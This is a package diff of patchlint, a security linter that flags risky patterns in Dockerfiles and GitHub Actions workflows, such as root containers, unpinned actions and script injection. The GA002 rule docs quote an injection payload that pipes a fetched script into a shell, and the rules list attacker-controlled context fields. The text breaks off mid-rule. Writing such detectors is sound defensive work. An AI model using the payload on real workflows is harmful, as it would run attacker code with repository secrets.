patchlint 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
patchlint/__init__.py ADDED
@@ -0,0 +1,3 @@
1
+ """patchlint: a beginner-friendly security linter for config files."""
2
+
3
+ __version__ = "0.1.0"
patchlint/cli.py ADDED
@@ -0,0 +1,111 @@
1
+ """Command-line interface."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import argparse
6
+ import json
7
+ import sys
8
+ from dataclasses import asdict
9
+ from pathlib import Path
10
+
11
+ from patchlint import __version__
12
+ from patchlint.config import Config, ConfigError, find_config, load_config
13
+ from patchlint.core.registry import load_rules
14
+ from patchlint.core.runner import scan
15
+ from patchlint.sarif import to_sarif
16
+ from patchlint.scaffold import new_rule
17
+
18
+
19
+ def main(argv: list[str] | None = None) -> int:
20
+ p = argparse.ArgumentParser(prog="patchlint", description=__doc__)
21
+ p.add_argument("--version", action="version", version=__version__)
22
+ sub = p.add_subparsers(dest="cmd", required=True)
23
+
24
+ s = sub.add_parser("scan", help="scan a file or directory")
25
+ s.add_argument("path", type=Path, nargs="?", default=Path("."))
26
+ s.add_argument("--format", choices=["text", "json", "sarif"], default="text")
27
+ s.add_argument("--rule", action="append", help="only run this rule id (repeatable)")
28
+ s.add_argument("-o", "--output", type=Path, help="write results to this file, not stdout")
29
+ cfg = s.add_mutually_exclusive_group()
30
+ cfg.add_argument(
31
+ "--config", type=Path, help="config file (default: .patchlint.toml or pyproject.toml)"
32
+ )
33
+ cfg.add_argument("--no-config", action="store_true", help="ignore any config file")
34
+ s.add_argument(
35
+ "--exit-zero",
36
+ action="store_true",
37
+ help="exit 0 even when there are findings (e.g. before uploading SARIF)",
38
+ )
39
+
40
+ sub.add_parser("list-rules", help="list all rules")
41
+
42
+ e = sub.add_parser("explain", help="show why a rule exists and how to fix it")
43
+ e.add_argument("rule_id")
44
+
45
+ n = sub.add_parser("new-rule", help="scaffold a new rule and its fixtures")
46
+ n.add_argument("rule_id", help="e.g. DL003")
47
+ n.add_argument("name", help="lower_snake_case, e.g. add_instead_of_copy")
48
+
49
+ args = p.parse_args(argv)
50
+
51
+ if args.cmd == "list-rules":
52
+ for r in load_rules().values():
53
+ print(f"{r.id} {r.severity:<6} {r.title}")
54
+ return 0
55
+
56
+ if args.cmd == "explain":
57
+ found = load_rules().get(args.rule_id.upper())
58
+ if found is None:
59
+ print(f"unknown rule {args.rule_id}", file=sys.stderr)
60
+ return 2
61
+ cwe = f" (CWE-{found.cwe})" if found.cwe else ""
62
+ print(f"{found.id}: {found.title}{cwe}\nSeverity: {found.severity}\n\n{found.doc}")
63
+ return 0
64
+
65
+ if args.cmd == "new-rule":
66
+ try:
67
+ created = new_rule(args.rule_id.upper(), args.name, Path.cwd())
68
+ except (ValueError, FileExistsError) as exc:
69
+ print(f"error: {exc}", file=sys.stderr)
70
+ return 2
71
+ for path in created:
72
+ print(f"created {path}")
73
+ return 0
74
+
75
+ rules = load_rules()
76
+ if args.rule:
77
+ unknown = sorted({r.upper() for r in args.rule} - set(rules))
78
+ if unknown:
79
+ print(f"error: unknown rule id(s): {unknown}", file=sys.stderr)
80
+ return 2
81
+ config = Config()
82
+ if not args.no_config:
83
+ config_path = args.config or find_config(args.path)
84
+ if config_path is not None:
85
+ try:
86
+ config = load_config(config_path, rules)
87
+ except (ConfigError, OSError) as exc:
88
+ print(f"error: {exc}", file=sys.stderr)
89
+ return 2
90
+ only = [r.upper() for r in args.rule] if args.rule else None
91
+ findings = scan(args.path, only, config)
92
+ if args.format == "json":
93
+ report = json.dumps([asdict(f) for f in findings], indent=2)
94
+ elif args.format == "sarif":
95
+ report = json.dumps(to_sarif(findings, rules), indent=2)
96
+ else:
97
+ lines = [
98
+ f"{f.path}:{f.line}: [{f.rule_id}/{f.severity}] {f.message}\n fix: {f.fix}"
99
+ for f in findings
100
+ ]
101
+ report = "\n".join([*lines, f"\n{len(findings)} finding(s)"])
102
+ if args.output:
103
+ args.output.write_text(report + "\n", encoding="utf-8")
104
+ print(f"wrote {len(findings)} finding(s) to {args.output}", file=sys.stderr)
105
+ else:
106
+ print(report)
107
+ return 1 if findings and not args.exit_zero else 0
108
+
109
+
110
+ if __name__ == "__main__":
111
+ raise SystemExit(main())
patchlint/config.py ADDED
@@ -0,0 +1,120 @@
1
+ """Project configuration: `.patchlint.toml`, or `[tool.patchlint]` in `pyproject.toml`.
2
+
3
+ Example `.patchlint.toml`:
4
+
5
+ disable = ["DL002"] # rules to turn off
6
+ exclude = ["tests/fixtures/*"] # paths to skip (globs, relative to the scanned folder)
7
+
8
+ [severity] # change a rule's severity
9
+ GA001 = "high"
10
+ """
11
+
12
+ from __future__ import annotations
13
+
14
+ import sys
15
+ from collections.abc import Collection, Mapping
16
+ from dataclasses import dataclass, field
17
+ from fnmatch import fnmatch
18
+ from pathlib import Path
19
+ from typing import Any
20
+
21
+ from patchlint.core.model import SEVERITIES
22
+
23
+ if sys.version_info >= (3, 11):
24
+ import tomllib
25
+ else: # pragma: no cover - exercised on Python 3.10 only
26
+ import tomli as tomllib
27
+
28
+ CONFIG_FILE = ".patchlint.toml"
29
+ KNOWN_KEYS = {"disable", "exclude", "severity"}
30
+
31
+
32
+ class ConfigError(ValueError):
33
+ """The configuration file is invalid. The message says what to fix."""
34
+
35
+
36
+ @dataclass(frozen=True)
37
+ class Config:
38
+ disable: frozenset[str] = frozenset()
39
+ exclude: tuple[str, ...] = ()
40
+ severity: Mapping[str, str] = field(default_factory=dict)
41
+ source: Path | None = None
42
+
43
+ def is_excluded(self, path: Path, root: Path) -> bool:
44
+ """True if `path` matches an exclude glob. `*` also matches `/`."""
45
+ try:
46
+ rel = path.resolve().relative_to(root.resolve()).as_posix()
47
+ except ValueError:
48
+ rel = path.as_posix()
49
+ return any(fnmatch(rel, pattern) for pattern in self.exclude)
50
+
51
+
52
+ def find_config(start: Path) -> Path | None:
53
+ """Look for `.patchlint.toml`, then a `pyproject.toml` with `[tool.patchlint]`,
54
+ in the scanned folder (or the scanned file's folder)."""
55
+ folder = start if start.is_dir() else start.parent
56
+ candidate = folder / CONFIG_FILE
57
+ if candidate.is_file():
58
+ return candidate
59
+ pyproject = folder / "pyproject.toml"
60
+ if pyproject.is_file():
61
+ try:
62
+ data = tomllib.loads(pyproject.read_text(encoding="utf-8"))
63
+ except tomllib.TOMLDecodeError:
64
+ return None # a broken pyproject.toml is not our problem to report
65
+ if isinstance(data.get("tool"), dict) and "patchlint" in data["tool"]:
66
+ return pyproject
67
+ return None
68
+
69
+
70
+ def load_config(path: Path, known_rules: Collection[str]) -> Config:
71
+ """Read and validate a config file."""
72
+ try:
73
+ data: dict[str, Any] = tomllib.loads(path.read_text(encoding="utf-8"))
74
+ except tomllib.TOMLDecodeError as exc:
75
+ raise ConfigError(f"{path}: invalid TOML ({exc})") from exc
76
+ if path.name == "pyproject.toml":
77
+ data = data.get("tool", {}).get("patchlint", {})
78
+ if not isinstance(data, dict):
79
+ raise ConfigError(f"{path}: [tool.patchlint] must be a table")
80
+ return parse_config(data, known_rules, path)
81
+
82
+
83
+ def parse_config(
84
+ data: Mapping[str, Any], known_rules: Collection[str], source: Path | None = None
85
+ ) -> Config:
86
+ where = str(source) if source else "config"
87
+ unknown = set(data) - KNOWN_KEYS
88
+ if unknown:
89
+ raise ConfigError(
90
+ f"{where}: unknown key(s) {sorted(unknown)}; allowed: {sorted(KNOWN_KEYS)}"
91
+ )
92
+
93
+ def rule_list(key: str) -> list[str]:
94
+ value = data.get(key, [])
95
+ if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
96
+ raise ConfigError(f"{where}: `{key}` must be a list of strings")
97
+ return value
98
+
99
+ disable = [r.upper() for r in rule_list("disable")]
100
+ bad = sorted(set(disable) - set(known_rules))
101
+ if bad:
102
+ raise ConfigError(f"{where}: unknown rule id(s) in `disable`: {bad}")
103
+
104
+ exclude = rule_list("exclude")
105
+
106
+ severity_raw = data.get("severity", {})
107
+ if not isinstance(severity_raw, dict):
108
+ raise ConfigError(f"{where}: `[severity]` must be a table like `GA001 = \"high\"`")
109
+ severity: dict[str, str] = {}
110
+ for rule_id, level in severity_raw.items():
111
+ rule_id = rule_id.upper()
112
+ if rule_id not in known_rules:
113
+ raise ConfigError(f"{where}: unknown rule id in `[severity]`: {rule_id}")
114
+ if level not in SEVERITIES:
115
+ raise ConfigError(
116
+ f"{where}: severity for {rule_id} must be one of {list(SEVERITIES)}, got {level!r}"
117
+ )
118
+ severity[rule_id] = level
119
+
120
+ return Config(frozenset(disable), tuple(exclude), severity, source)
File without changes
@@ -0,0 +1,74 @@
1
+ """Data types shared by rules, the runner and the CLI."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from collections.abc import Callable, Iterable
6
+ from dataclasses import dataclass
7
+ from pathlib import Path
8
+
9
+ from patchlint.parsers.github_actions import YMap
10
+
11
+ SEVERITIES = ("low", "medium", "high")
12
+ FILETYPES = ("dockerfile", "workflow")
13
+
14
+
15
+ @dataclass(frozen=True)
16
+ class Instruction:
17
+ """One Dockerfile instruction, with continuation lines joined."""
18
+
19
+ line: int # 1-based line where the instruction starts
20
+ cmd: str # upper-case, e.g. "FROM"
21
+ args: str # everything after the command
22
+
23
+
24
+ @dataclass(frozen=True)
25
+ class Finding:
26
+ rule_id: str
27
+ severity: str
28
+ message: str
29
+ path: str
30
+ line: int
31
+ fix: str
32
+
33
+
34
+ @dataclass(frozen=True)
35
+ class Context:
36
+ """What a rule's ``check`` function receives.
37
+
38
+ Dockerfile rules use ``instructions``; workflow rules use ``workflow``.
39
+ ``lines`` is the raw file text, one entry per line.
40
+ """
41
+
42
+ path: Path
43
+ instructions: tuple[Instruction, ...]
44
+ workflow: YMap | None
45
+ lines: tuple[str, ...]
46
+ _rule_id: str
47
+ _severity: str
48
+
49
+ def finding(self, line: int, message: str, fix: str) -> Finding:
50
+ return Finding(self._rule_id, self._severity, message, str(self.path), line, fix)
51
+
52
+ def line_of(self, text: str, start: int) -> int:
53
+ """First line at or after ``start`` that contains ``text`` (falls back to ``start``)."""
54
+ for index in range(max(start - 1, 0), len(self.lines)):
55
+ if text in self.lines[index]:
56
+ return index + 1
57
+ return start
58
+
59
+
60
+ CheckFn = Callable[[Context], Iterable[Finding]]
61
+
62
+
63
+ @dataclass(frozen=True)
64
+ class Rule:
65
+ id: str
66
+ title: str
67
+ severity: str
68
+ cwe: int | None
69
+ filetype: str
70
+ check: CheckFn
71
+
72
+ @property
73
+ def doc(self) -> str:
74
+ return (self.check.__doc__ or "").strip()
@@ -0,0 +1,48 @@
1
+ """Rule registry: the ``@rule`` decorator and automatic rule discovery."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import importlib
6
+ import pkgutil
7
+ from collections.abc import Callable
8
+
9
+ from patchlint.core.model import SEVERITIES, CheckFn, Rule
10
+
11
+ RULES: dict[str, Rule] = {}
12
+
13
+ # The rule id prefix decides which files a rule runs on.
14
+ PREFIX_FILETYPES = {"DL": "dockerfile", "GA": "workflow"}
15
+
16
+
17
+ def rule(
18
+ id: str, title: str, severity: str, cwe: int | None = None
19
+ ) -> Callable[[CheckFn], CheckFn]:
20
+ """Register a check function as a rule.
21
+
22
+ The function's docstring is the rule's documentation: explain *why* the
23
+ pattern is dangerous and *how* to fix it.
24
+ """
25
+ if severity not in SEVERITIES:
26
+ raise ValueError(f"severity must be one of {SEVERITIES}, got {severity!r}")
27
+ filetype = PREFIX_FILETYPES.get(id[:2])
28
+ if filetype is None:
29
+ raise ValueError(f"rule id {id!r} must start with one of {sorted(PREFIX_FILETYPES)}")
30
+
31
+ def decorator(fn: CheckFn) -> CheckFn:
32
+ if id in RULES:
33
+ raise ValueError(f"duplicate rule id {id}")
34
+ RULES[id] = Rule(
35
+ id=id, title=title, severity=severity, cwe=cwe, filetype=filetype, check=fn
36
+ )
37
+ return fn
38
+
39
+ return decorator
40
+
41
+
42
+ def load_rules() -> dict[str, Rule]:
43
+ """Import every module under ``patchlint.rules`` so decorators run."""
44
+ import patchlint.rules as rules_pkg
45
+
46
+ for mod in pkgutil.walk_packages(rules_pkg.__path__, prefix="patchlint.rules."):
47
+ importlib.import_module(mod.name)
48
+ return RULES
@@ -0,0 +1,96 @@
1
+ """Find files, parse them, run rules."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import sys
6
+ from collections.abc import Iterable, Iterator
7
+ from pathlib import Path
8
+
9
+ import yaml
10
+
11
+ from patchlint.config import Config
12
+ from patchlint.core.model import Context, Finding, Instruction
13
+ from patchlint.core.registry import load_rules
14
+ from patchlint.parsers import dockerfile, github_actions
15
+ from patchlint.parsers.github_actions import YMap
16
+
17
+ SKIP_DIRS = {".git", "node_modules", ".venv", "venv", "__pycache__"}
18
+ MAX_BYTES = 1_000_000 # skip unusually large files rather than risk slow parsing
19
+
20
+ # `Dockerfile.dev` is a Dockerfile; `dockerfile.py` (code about Dockerfiles) is not.
21
+ NOT_DOCKERFILE = {
22
+ ".py", ".pyc", ".pyi", ".js", ".ts", ".go", ".rs", ".java", ".rb", ".sh", ".ps1",
23
+ ".md", ".rst", ".txt", ".json", ".yml", ".yaml", ".toml", ".ini", ".cfg", ".lock",
24
+ }
25
+
26
+
27
+ def file_kind(path: Path, explicit: bool = False) -> str | None:
28
+ """Return "dockerfile", "workflow" or None.
29
+
30
+ In a directory scan, YAML only counts inside `.github/workflows/`. A YAML file
31
+ named directly on the command line is always treated as a workflow.
32
+ """
33
+ name = path.name.lower()
34
+ variant = name.startswith("dockerfile.") and path.suffix.lower() not in NOT_DOCKERFILE
35
+ if name == "dockerfile" or variant or name.endswith(".dockerfile"):
36
+ return "dockerfile"
37
+ if path.suffix.lower() in (".yml", ".yaml"):
38
+ parts = [p.lower() for p in path.parts]
39
+ in_workflows = len(parts) >= 3 and parts[-3] == ".github" and parts[-2] == "workflows"
40
+ if explicit or in_workflows:
41
+ return "workflow"
42
+ return None
43
+
44
+
45
+ def find_files(root: Path) -> Iterator[tuple[Path, str]]:
46
+ if root.is_file():
47
+ kind = file_kind(root, explicit=True)
48
+ if kind:
49
+ yield root, kind
50
+ return
51
+ for p in sorted(root.rglob("*")):
52
+ if p.is_file() and not (SKIP_DIRS & set(p.parts)):
53
+ kind = file_kind(p)
54
+ if kind:
55
+ yield p, kind
56
+
57
+
58
+ def scan(
59
+ root: Path, only: Iterable[str] | None = None, config: Config | None = None
60
+ ) -> list[Finding]:
61
+ """Scan a file or folder.
62
+
63
+ `only` picks rules explicitly and wins over the config's `disable` list.
64
+ """
65
+ config = config or Config()
66
+ rules = load_rules()
67
+ selected = set(only) if only else set(rules) - config.disable
68
+ findings: list[Finding] = []
69
+ for path, kind in find_files(root):
70
+ if root.is_dir() and config.is_excluded(path, root):
71
+ continue
72
+ if path.stat().st_size > MAX_BYTES:
73
+ print(f"warning: skipping {path} (larger than {MAX_BYTES} bytes)", file=sys.stderr)
74
+ continue
75
+ text = path.read_text(encoding="utf-8", errors="replace")
76
+ instructions: tuple[Instruction, ...] = ()
77
+ workflow: YMap | None = None
78
+ if kind == "dockerfile":
79
+ instructions = dockerfile.parse(text)
80
+ else:
81
+ try:
82
+ workflow = github_actions.parse(text)
83
+ except yaml.YAMLError as exc:
84
+ print(f"warning: skipping {path}: invalid YAML ({exc})", file=sys.stderr)
85
+ continue
86
+ if workflow is None:
87
+ continue
88
+ lines = tuple(text.splitlines())
89
+ for r in rules.values():
90
+ if r.id not in selected or r.filetype != kind:
91
+ continue
92
+ severity = config.severity.get(r.id, r.severity)
93
+ ctx = Context(path, instructions, workflow, lines, r.id, severity)
94
+ findings.extend(r.check(ctx))
95
+ findings.sort(key=lambda f: (f.path, f.line, f.rule_id))
96
+ return findings
File without changes
@@ -0,0 +1,32 @@
1
+ """A small Dockerfile parser: comments dropped, continuation lines joined."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from patchlint.core.model import Instruction
6
+
7
+
8
+ def parse(text: str) -> tuple[Instruction, ...]:
9
+ instructions: list[Instruction] = []
10
+ buf: list[str] = []
11
+ start = 0
12
+ for lineno, raw in enumerate(text.splitlines(), start=1):
13
+ stripped = raw.strip()
14
+ if not buf and (not stripped or stripped.startswith("#")):
15
+ continue
16
+ if not buf:
17
+ start = lineno
18
+ if stripped.startswith("#"): # comment inside a continuation
19
+ continue
20
+ if stripped.endswith("\\"):
21
+ buf.append(stripped[:-1].strip())
22
+ continue
23
+ buf.append(stripped)
24
+ joined = " ".join(p for p in buf if p)
25
+ buf = []
26
+ cmd, _, args = joined.partition(" ")
27
+ instructions.append(Instruction(start, cmd.upper(), args.strip()))
28
+ if buf: # file ended mid-continuation
29
+ joined = " ".join(p for p in buf if p)
30
+ cmd, _, args = joined.partition(" ")
31
+ instructions.append(Instruction(start, cmd.upper(), args.strip()))
32
+ return tuple(instructions)
@@ -0,0 +1,78 @@
1
+ """GitHub Actions workflow parser: safe YAML loading that keeps line numbers."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from collections.abc import Iterator
6
+ from typing import Any
7
+
8
+ import yaml
9
+
10
+
11
+ class YMap(dict[str, Any]):
12
+ """A YAML mapping that remembers where it starts and where each key is (1-based)."""
13
+
14
+ def __init__(self) -> None:
15
+ super().__init__()
16
+ self.line = 0
17
+ self.key_lines: dict[str, int] = {}
18
+
19
+
20
+ class YList(list[Any]):
21
+ """A YAML sequence that remembers the line it starts on (1-based)."""
22
+
23
+ line = 0
24
+
25
+
26
+ class _Loader(yaml.SafeLoader):
27
+ """SafeLoader that builds YMap/YList. Never executes or instantiates anything."""
28
+
29
+
30
+ def _construct_map(loader: _Loader, node: yaml.MappingNode) -> YMap:
31
+ loader.flatten_mapping(node)
32
+ result = YMap()
33
+ result.line = node.start_mark.line + 1
34
+ for key_node, value_node in node.value:
35
+ key = loader.construct_object(key_node, deep=True)
36
+ # YAML 1.1 reads the bare key `on` as the boolean True.
37
+ name = "on" if key is True else str(key)
38
+ result[name] = loader.construct_object(value_node, deep=True)
39
+ result.key_lines[name] = key_node.start_mark.line + 1
40
+ return result
41
+
42
+
43
+ def _construct_seq(loader: _Loader, node: yaml.SequenceNode) -> YList:
44
+ result = YList(loader.construct_object(child, deep=True) for child in node.value)
45
+ result.line = node.start_mark.line + 1
46
+ return result
47
+
48
+
49
+ _Loader.add_constructor("tag:yaml.org,2002:map", _construct_map)
50
+ _Loader.add_constructor("tag:yaml.org,2002:seq", _construct_seq)
51
+
52
+
53
+ def parse(text: str) -> YMap | None:
54
+ """Parse a workflow file. Returns None if the top level is not a mapping.
55
+
56
+ Raises yaml.YAMLError on invalid YAML.
57
+ """
58
+ doc = yaml.load(text, Loader=_Loader) # _Loader is a SafeLoader subclass
59
+ return doc if isinstance(doc, YMap) else None
60
+
61
+
62
+ def iter_jobs(workflow: YMap) -> Iterator[tuple[str, YMap]]:
63
+ """Yield (job_id, job) for every job in the workflow."""
64
+ jobs = workflow.get("jobs")
65
+ if isinstance(jobs, YMap):
66
+ for job_id, job in jobs.items():
67
+ if isinstance(job, YMap):
68
+ yield job_id, job
69
+
70
+
71
+ def iter_steps(workflow: YMap) -> Iterator[tuple[str, YMap]]:
72
+ """Yield (job_id, step) for every step of every job."""
73
+ for job_id, job in iter_jobs(workflow):
74
+ steps = job.get("steps")
75
+ if isinstance(steps, YList):
76
+ for step in steps:
77
+ if isinstance(step, YMap):
78
+ yield job_id, step
File without changes
@@ -0,0 +1,31 @@
1
+ from __future__ import annotations
2
+
3
+ from collections.abc import Iterable
4
+
5
+ from patchlint.core.model import Context, Finding
6
+ from patchlint.core.registry import rule
7
+
8
+
9
+ @rule(id="DL001", title="Container runs as root", severity="high", cwe=250)
10
+ def check(ctx: Context) -> Iterable[Finding]:
11
+ """The final image stage never switches to a non-root user.
12
+
13
+ Why it matters: if an attacker gets code execution inside the container,
14
+ running as root makes escapes and host damage much easier.
15
+
16
+ Fix: create an unprivileged user and switch to it before the final CMD.
17
+
18
+ RUN useradd --create-home app
19
+ USER app
20
+ """
21
+ froms = [i for i in ctx.instructions if i.cmd == "FROM"]
22
+ if not froms:
23
+ return
24
+ last_from = froms[-1]
25
+ users = [i for i in ctx.instructions if i.cmd == "USER" and i.line > last_from.line]
26
+ if not users or users[-1].args.split(":")[0].strip() in {"root", "0"}:
27
+ yield ctx.finding(
28
+ last_from.line,
29
+ "Final stage runs as root (no non-root USER set).",
30
+ "Add `USER <non-root-user>` after installing packages.",
31
+ )
@@ -0,0 +1,39 @@
1
+ from __future__ import annotations
2
+
3
+ from collections.abc import Iterable
4
+
5
+ from patchlint.core.model import Context, Finding
6
+ from patchlint.core.registry import rule
7
+
8
+
9
+ @rule(id="DL002", title="Base image is not pinned", severity="medium", cwe=1357)
10
+ def check(ctx: Context) -> Iterable[Finding]:
11
+ """A `FROM` line uses the `latest` tag or no tag at all.
12
+
13
+ Why it matters: `latest` changes without warning, so builds are not
14
+ reproducible and a compromised or broken upstream image flows straight in.
15
+
16
+ Fix: pin a specific version tag, or better a digest.
17
+
18
+ FROM python:3.12-slim
19
+ """
20
+ stages: set[str] = set()
21
+ for ins in ctx.instructions:
22
+ if ins.cmd != "FROM":
23
+ continue
24
+ parts = [p for p in ins.args.split() if not p.startswith("--")]
25
+ image = parts[0] if parts else ""
26
+ if len(parts) >= 3 and parts[1].lower() == "as":
27
+ stages.add(parts[2].lower())
28
+ if not image or image.lower() == "scratch" or image.lower() in stages:
29
+ continue
30
+ if "@sha256:" in image:
31
+ continue
32
+ name = image.rsplit("/", 1)[-1]
33
+ tag = name.split(":", 1)[1] if ":" in name else ""
34
+ if tag in ("", "latest"):
35
+ yield ctx.finding(
36
+ ins.line,
37
+ f"Base image `{image}` is not pinned to a version.",
38
+ "Pin a specific tag or digest, e.g. `python:3.12-slim`.",
39
+ )
File without changes
@@ -0,0 +1,44 @@
1
+ from __future__ import annotations
2
+
3
+ import re
4
+ from collections.abc import Iterable
5
+
6
+ from patchlint.core.model import Context, Finding
7
+ from patchlint.core.registry import rule
8
+ from patchlint.parsers.github_actions import YMap, iter_jobs, iter_steps
9
+
10
+ FULL_SHA = re.compile(r"[0-9a-f]{40}")
11
+
12
+
13
+ @rule(id="GA001", title="Action not pinned to a commit SHA", severity="medium", cwe=829)
14
+ def check(ctx: Context) -> Iterable[Finding]:
15
+ """A workflow uses an action or reusable workflow by tag or branch, not a full commit SHA.
16
+
17
+ Why it matters: tags and branches can be moved. If an action's repository is
18
+ compromised, a re-pointed tag runs the attacker's code inside your workflow,
19
+ with access to its secrets. This happened to tj-actions/changed-files in 2025.
20
+
21
+ Fix: pin to the full 40-character commit SHA and keep the version in a
22
+ comment. Dependabot updates both.
23
+
24
+ - uses: actions/checkout@<40-character-sha> # v4.2.2
25
+ """
26
+ if ctx.workflow is None:
27
+ return
28
+ for _job_id, job in iter_jobs(ctx.workflow):
29
+ yield from _check_uses(ctx, job) # reusable workflow: jobs.<id>.uses
30
+ for _job_id, step in iter_steps(ctx.workflow):
31
+ yield from _check_uses(ctx, step)
32
+
33
+
34
+ def _check_uses(ctx: Context, node: YMap) -> Iterable[Finding]:
35
+ uses = node.get("uses")
36
+ if not isinstance(uses, str) or uses.startswith(("./", "docker://")):
37
+ return # local actions are part of this repo; docker images need their own rule
38
+ _name, sep, ref = uses.partition("@")
39
+ if not sep or not FULL_SHA.fullmatch(ref):
40
+ yield ctx.finding(
41
+ node.key_lines["uses"],
42
+ f"`{uses}` is not pinned to a full commit SHA.",
43
+ "Pin it, e.g. `owner/action@<40-character-sha> # v1.2.3`.",
44
+ )
@@ -0,0 +1,57 @@
1
+ from __future__ import annotations
2
+
3
+ import re
4
+ from collections.abc import Iterable
5
+
6
+ from patchlint.core.model import Context, Finding
7
+ from patchlint.core.registry import rule
8
+ from patchlint.parsers.github_actions import iter_steps
9
+
10
+ EXPRESSION = re.compile(r"\$\{\{(.*?)\}\}", re.DOTALL)
11
+
12
+ # Context values that anyone who opens an issue, PR, comment or branch can control.
13
+ UNTRUSTED = re.compile(
14
+ r"github\.(?:"
15
+ r"head_ref"
16
+ r"|event\.(?:"
17
+ r"issue\.(?:title|body)"
18
+ r"|pull_request\.(?:title|body|head\.ref|head\.label|head\.repo\.default_branch)"
19
+ r"|comment\.body|review\.body|review_comment\.body"
20
+ r"|discussion\.(?:title|body)"
21
+ r"|pages\S*?\.page_name"
22
+ r"|commits\S*?\.(?:message|author\.(?:email|name))"
23
+ r"|head_commit\.(?:message|author\.(?:email|name))"
24
+ r"|workflow_run\.(?:head_branch|display_title|head_commit\.message)"
25
+ r"))"
26
+ )
27
+
28
+
29
+ @rule(id="GA002", title="Untrusted input in a run script", severity="high", cwe=78)
30
+ def check(ctx: Context) -> Iterable[Finding]:
31
+ """A `run:` script pastes attacker-controlled data in with `${{ ... }}`.
32
+
33
+ Why it matters: GitHub substitutes `${{ ... }}` into the script text before
34
+ the shell runs it. An issue titled `"; curl evil.sh | sh; "` then becomes
35
+ shell code that runs with the workflow's token and secrets.
36
+
37
+ Fix: pass the value through an environment variable and quote it.
38
+
39
+ - env:
40
+ TITLE: ${{ github.event.issue.title }}
41
+ run: echo "New issue: $TITLE"
42
+ """
43
+ if ctx.workflow is None:
44
+ return
45
+ for _job_id, step in iter_steps(ctx.workflow):
46
+ script = step.get("run")
47
+ if not isinstance(script, str):
48
+ continue
49
+ start = step.key_lines["run"]
50
+ for match in EXPRESSION.finditer(script):
51
+ source = UNTRUSTED.search(match.group(1))
52
+ if source:
53
+ yield ctx.finding(
54
+ ctx.line_of(match.group(0), start),
55
+ f"`{source.group(0)}` is attacker-controlled and is pasted into the script.",
56
+ "Move it to `env:` and use the variable, quoted, in the script.",
57
+ )
@@ -0,0 +1,39 @@
1
+ from __future__ import annotations
2
+
3
+ from collections.abc import Iterable
4
+
5
+ from patchlint.core.model import Context, Finding
6
+ from patchlint.core.registry import rule
7
+ from patchlint.parsers.github_actions import iter_jobs
8
+
9
+
10
+ @rule(id="GA003", title="No top-level permissions block", severity="medium", cwe=None)
11
+ def check(ctx: Context) -> Iterable[Finding]:
12
+ """A workflow sets no top-level ``permissions`` block.
13
+
14
+ Why it matters: without ``permissions:`` the workflow's ``GITHUB_TOKEN``
15
+ inherits the repository default, which can be read-write. A compromised
16
+ step can then push commits or edit releases. GitHub's hardening guide
17
+ recommends declaring least privilege explicitly.
18
+
19
+ Fix: declare a top-level block, then widen it per job only where a step
20
+ genuinely needs more.
21
+
22
+ permissions: read-all
23
+ """
24
+ workflow = ctx.workflow
25
+ if workflow is None or "permissions" in workflow:
26
+ return
27
+
28
+ jobs = list(iter_jobs(workflow))
29
+ if jobs and all("permissions" in job for _job_id, job in jobs):
30
+ return
31
+
32
+ line = workflow.key_lines.get("on", workflow.line or 1)
33
+ yield ctx.finding(
34
+ line,
35
+ "The workflow has no top-level `permissions:` block, so `GITHUB_TOKEN` "
36
+ "falls back to the repository default, which may be read-write.",
37
+ "Add `permissions: read-all` at the top level, then grant more only in "
38
+ "the jobs that need it.",
39
+ )
@@ -0,0 +1,74 @@
1
+ from __future__ import annotations
2
+
3
+ from collections.abc import Iterable
4
+
5
+ from patchlint.core.model import Context, Finding
6
+ from patchlint.core.registry import rule
7
+ from patchlint.parsers.github_actions import YList, YMap, iter_steps
8
+
9
+ TRIGGER = "pull_request_target"
10
+
11
+ UNSAFE_REFS = (
12
+ "github.event.pull_request.head.sha",
13
+ "github.event.pull_request.head.ref",
14
+ "github.head_ref",
15
+ )
16
+
17
+ CHECKOUT = "actions/checkout"
18
+
19
+
20
+ def _listens_for_pr_target(workflow: YMap) -> bool:
21
+ """True when the workflow is triggered by ``pull_request_target``."""
22
+ on = workflow.get("on")
23
+ if isinstance(on, str):
24
+ return on == TRIGGER
25
+ if isinstance(on, YList):
26
+ return any(item == TRIGGER for item in on if isinstance(item, str))
27
+ if isinstance(on, YMap):
28
+ return TRIGGER in on
29
+ return False
30
+
31
+
32
+ @rule(
33
+ id="GA004",
34
+ title="pull_request_target workflow checks out the PR's code",
35
+ severity="high",
36
+ cwe=829,
37
+ )
38
+ def check(ctx: Context) -> Iterable[Finding]:
39
+ """A ``pull_request_target`` workflow checks out the head of the pull request.
40
+
41
+ Why it matters: ``pull_request_target`` runs in the base repository's
42
+ context, with its secrets and a write-scoped ``GITHUB_TOKEN``. Checking out
43
+ ``github.event.pull_request.head.*`` there places code written by the pull
44
+ request author inside that privileged job, so anyone who can open a pull
45
+ request can run arbitrary code with your secrets (the "pwn request"
46
+ pattern).
47
+
48
+ Fix: never build or execute the pull request's own code under
49
+ ``pull_request_target``. Check out the base branch and treat the PR as
50
+ data, or move the build into a separate ``pull_request`` workflow that
51
+ receives no secrets.
52
+ """
53
+ if ctx.workflow is None or not _listens_for_pr_target(ctx.workflow):
54
+ return
55
+
56
+ for _job_id, step in iter_steps(ctx.workflow):
57
+ uses = step.get("uses")
58
+ if not isinstance(uses, str) or uses.partition("@")[0].strip() != CHECKOUT:
59
+ continue
60
+ options = step.get("with")
61
+ if not isinstance(options, YMap):
62
+ continue
63
+ ref = options.get("ref")
64
+ if not isinstance(ref, str):
65
+ continue
66
+ if not any(pattern in ref for pattern in UNSAFE_REFS):
67
+ continue
68
+ yield ctx.finding(
69
+ options.key_lines.get("ref", step.line),
70
+ f"`pull_request_target` checks out `{ref}`, which is code the pull "
71
+ "request author controls.",
72
+ "Check out the base branch instead and treat the PR as data, or move "
73
+ "the build into a `pull_request` workflow that gets no secrets.",
74
+ )
@@ -0,0 +1,45 @@
1
+ from __future__ import annotations
2
+
3
+ from collections.abc import Iterable
4
+
5
+ from patchlint.core.model import Context, Finding
6
+ from patchlint.core.registry import rule
7
+ from patchlint.parsers.github_actions import iter_jobs
8
+
9
+
10
+ @rule(
